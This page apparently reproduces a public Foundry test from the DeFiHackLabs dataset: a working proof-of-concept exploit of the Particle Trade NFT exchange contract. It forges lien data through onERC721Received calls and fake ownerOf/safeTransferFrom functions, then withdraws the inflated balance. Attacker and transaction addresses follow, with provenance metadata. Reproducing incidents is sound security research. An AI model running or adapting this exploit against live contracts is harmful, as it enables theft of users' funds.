Public reproduction file
src/test/2024-02/ParticleTrade_exp.sol
Public reproduction file for dataset entry ParticleTrade.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.24;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~50 $ETH8// Attacker : https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f55599// Attack Contract : https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f10// Vulnerable Contract : https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e411// Attack Tx : https://etherscan.io/tx/0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff613// @Analysis14// https://twitter.com/Phalcon_xyz/status/175802827077025013416interface IParticleExchange {17 function offerBid(18 address collection,19 uint256 margin,20 uint256 price,21 uint256 rate22 ) external returns (uint256 lienId);23 function swapWithEth(Lien calldata lien, uint256 lienId) external;24 function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);25 function withdrawAccountBalance() external;26 function accountBalance(27 address account28 ) external returns (uint256 balance);30 struct Lien {31 address lender; // NFT supplier address32 address borrower; // NFT trade executor address33 address collection; // NFT collection address34 uint256 tokenId;35 /// NFT ID (@dev: at borrower bidding, this field is used to store margin)36 uint256 price; // NFT supplier's desired sold price37 uint256 rate; // APR in bips, _BASIS_POINTS defined in MathUtils.sol38 uint256 loanStartTime; // loan start block.timestamp39 uint256 auctionStartTime; // auction start block.timestamp40 }41}43contract ContractTest is Test {44 address zero = 0x0000000000000000000000000000000000000000;45 IParticleExchange proxy = IParticleExchange(0x7c5C9AfEcf4013c43217Fb6A626A4687381f080D);46 address Azuki = 0xB6a37b5d14D502c3Ab0Ae6f3a0E058BC9517786e;47 address Reservoir = 0xC2c862322E9c97D6244a3506655DA95F05246Fd8;48 address ParticleExchange = 0xE4764f9cd8ECc9659d3abf35259638B20ac536E4;49 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);51 address ownerofaddr = address(proxy);53 function setUp() public {54 cheats.createSelectFork("mainnet", 19_231_445);55 cheats.label(address(proxy), "proxy");56 cheats.label(address(Azuki), "Azuki");57 cheats.label(address(ParticleExchange), "ParticleExchange");58 cheats.label(address(Reservoir), "Reservoir");59 }61 function testExploit() public {62 payable(zero).transfer(address(this).balance);63 emit log_named_decimal_uint("Attacker Eth balance before attack:", address(this).balance, 18);64 uint256 tokenId = 50_126_827_091_960_426_151;65 uint256 tokenId2 = 19_231_446;66 (uint256 lienId) = proxy.offerBid(address(this), uint256(0), uint256(0), uint256(0));67 IParticleExchange.Lien memory lien = IParticleExchange.Lien({68 lender: zero,69 borrower: address(this),70 collection: address(this),71 tokenId: 0,72 price: 0,73 rate: 0,74 loanStartTime: 0,75 auctionStartTime: 076 });77 uint256 amount = 0;78 bytes memory bytecode = (abi.encode(lien, lienId, amount, Reservoir, zero, "0x"));79 proxy.onERC721Received(zero, zero, tokenId, bytecode);81 IParticleExchange.Lien memory lien2 = IParticleExchange.Lien({82 lender: zero,83 borrower: address(this),84 collection: address(this),85 tokenId: tokenId,86 price: 0,87 rate: 0,88 loanStartTime: block.timestamp,89 auctionStartTime: 090 });92 bytes memory bytecode2 = (abi.encode(lien2, lienId, amount, Reservoir, zero, "0x"));93 ownerofaddr = address(proxy);94 proxy.onERC721Received(zero, zero, tokenId2, bytecode2);96 proxy.accountBalance(address(this));97 proxy.withdrawAccountBalance();99 emit log_named_decimal_uint("Attacker Eth balance after attack:", address(this).balance, 18);100 }102 function ownerOf(103 uint256 tokenId104 ) external returns (address owner) {105 return ownerofaddr;106 }108 function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata _data) external {109 ownerofaddr = address(0);110 return;111 }113 receive() external payable {}114}Analysis
Dataset entry
Public Foundry test for “ParticleTrade” (2024-02-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2c903f97ea69b393ea03e7fab8d64d722b3f5559
- Attack Contract
0xe55607b2967ddbe5fa9a6a921991545b8277ef8f
- Vulnerable Contract
0xe4764f9cd8ecc9659d3abf35259638b20ac536e4
- Attack Tx
0xd9b3e229acc755881890394cc76fde0d7b83b1abd4d046b0f69c1fd9fd495ff6
- Explorer: https://etherscan.io/address/0x2c903f97ea69b393ea03e7fab8d64d722b3f5559
- Explorer: https://etherscan.io/address/0xe55607b2967ddbe5fa9a6a921991545b8277ef8f
- Explorer: https://etherscan.io/address/0xe4764f9cd8ecc9659d3abf35259638b20ac536e4
- Reference: https://twitter.com/Phalcon_xyz/status/1758028270770250134
File record
- Name
- ParticleTrade
- Path
- src/test/2024-02/ParticleTrade_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 42fd78b30494a8be48f10d5e2f66b9f6273f384c
- Language
- Solidity
- Size
- 115 lines
- Date
- 2024-02-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/ParticleTrade_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 42fd78b30494a8be48f10d5e2f66b9f6273f384c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.